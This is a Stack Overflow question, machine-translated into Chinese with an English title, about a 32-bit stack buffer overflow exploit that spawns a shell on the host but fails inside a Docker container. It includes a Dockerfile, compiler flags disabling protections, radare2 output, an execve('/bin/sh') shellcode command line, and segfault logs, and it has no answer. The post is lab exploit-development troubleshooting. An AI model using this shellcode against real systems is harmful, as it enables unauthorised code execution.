基本缓冲区溢出在主机上有效,但在 docker 容器下失败

Basic buffer overflow works on host machine but fails under a docker container

提问人:RdlP 提问时间:11/10/2023 最后编辑:RdlP 更新时间:11/11/2023 访问量:59

问:

我正在设置一个 docker 环境来测试几个程序的缓冲区溢出漏洞。特别是,我正在尝试利用一个简单的程序,该程序包含对 的调用,该程序容易受到缓冲区溢出附加的影响。strycpy

我创建的是以下内容:Dockerfile

FROM ubuntu:16.04
WORKDIR "/root"
RUN apt-get update && apt-get install -y git build-essential gcc gdb python3 python3-pip gcc-multilib
RUN python3 -m pip install pip==20.3.2
RUN pip install ROPgadget
RUN pip install capstone
RUN pip install filebytes
RUN pip install ropper


RUN git clone https://github.com/radareorg/radare2
WORKDIR "/root/radare2"
RUN sys/install.sh
WORKDIR "/root"

我正在测试的程序是针对 32 位 x86 架构编译的,堆栈是可执行的,并且在编译时也启用(并且禁用)。特别是,这是我用来编译易受攻击的程序的命令:-fno-stack-protectorASLRgcc

gcc -m32 -fno-pie -no-pie -fno-stack-protector -z execstack vuln.c -o vuln

输出的有关程序的信息是:radare2

arch     x86
baddr    0x8048000
binsz    6170
bintype  elf
bits     32
canary   false
injprot  false
class    ELF32
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  Intel 80386
nx       false
os       linux
pic      false
relocs   true
relro    partial
rpath    NONE
sanitize false
static   false
stripped false
subsys   linux
va       true

在这一点上,我可以利用我的主机获取 shell 中的漏洞,但不能在 docker 映像中利用漏洞(当然,利用这两个程序所需的输入不同,因为返回地址不同)。

例如,我将解释 docker 容器下的 explotation 过程。命令行为:

./ejemplo `python3 -c "import sys; sys.stdout.buffer.write(b'\xeb\x14\x5e\x31\xc0\x88\x46\x07\xb0\x0b\x89\xf3\x31\xc9\x31\xd2\xcd\x80\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x40\xd7\xff\xff')"`

shellcode 使用 syscall 启动 shell。在 shellcode 之后,有几个 () 字节要填充,最后是返回地址 (),它指向缓冲区的开头。换言之,指向execve\x90NOP0xffffd740\xeb

好吧,第一件事是在函数之后的指令中放置一个断点。此时,堆栈如下所示:leavestrcpy

enter image description here

正如你所看到的,在堆栈()的顶部放置了shellcode。然后我用命令步进一条指令。现在,您可以看到返回地址 () 位于堆栈的顶部。0xfffffd740dsradare20xfffffd740

enter image description here

现在,我又执行了一条指令,在下图中,您可以观察到提示符已更改为新地址(),如果我使用命令删除代码(数字 20 是从当前 eip 中删除的指令编号),您可以查看漏洞利用的代码。radare20xffffd740pd

enter image description here

如您所见,代码放入要执行的命令中(在本例中)并设置为 syscallebx/bin/sheaxexecv

enter image description here

正如你所看到的,我可以执行这段代码,因此它不是任务前执行问题。但是,在像这里所示的指令之后int 80h

enter image description here

我被重定向到无效指令(我认为这是正常行为,因为它也发生在主机中),但是如果我键入命令(继续调试),我会得到一个 shell,但它在我键入的第一个命令后关闭:dcradare2

IMAGEN

我得到的另一个观察结果是,如果我运行带有参数的易受攻击的程序,但没有单步执行(换句话说,我加载程序并键入命令(继续)),则漏洞利用将完全失败:radare2radare2dc

enter image description here

同样,如果我使用外部参数运行程序,我会得到与之前相同的结果(漏洞利用失败):radare2

IMAGEN

但是,如果我在它下面运行程序:strace

enter image description here

enter image description here

如您所见,我输入了两个命令,一个是错误的命令,程序处于系统调用状态,等待我引入另一个命令。总之,它按预期工作。pwdread

因此,回顾一下,我有一个易受攻击的程序来缓冲溢出。我可以在主机中成功利用它(使用、使用、使用和不使用任何调试应用程序)。但是,在 docker 容器下,我只能使用 .radare2gdbstracestrace

考虑到这些信息,docker 是否有一些安全机制可以防止在 docker 中运行的程序中的堆栈溢出攻击?

编辑。如果我在漏洞利用失败时看到 dmesg 日志,我可以看到以下内容:

[14651.274285] ejemplo[83077]: segfault at 80000001 ip 00000000ffffd741 sp 00000000ffffd780 error 4
[14651.275175] Code: f7 78 d7 ff ff 56 00 e6 f7 60 7d fc f7 40 85 04 08 48 d7 ff ff 30 00 e6 f7 50 d7 ff ff 18 d9 ff f7 35 00 e6 f7 64 84 04 08 40 <85> 04 08 50 d7 ff ff 00 70 fc f7 97 c3 00 00 eb 14 5e 31 c0 88 46

但是,这没有意义,因为正如我在上面的图像中所示,地址是可执行的(段错误的代码 4 表示:(数据)从未映射的区域读取00000000ffffd741

stack-overflow 逆向工程 缓冲区溢出 漏洞利用 radare2

评论


答: 暂无答案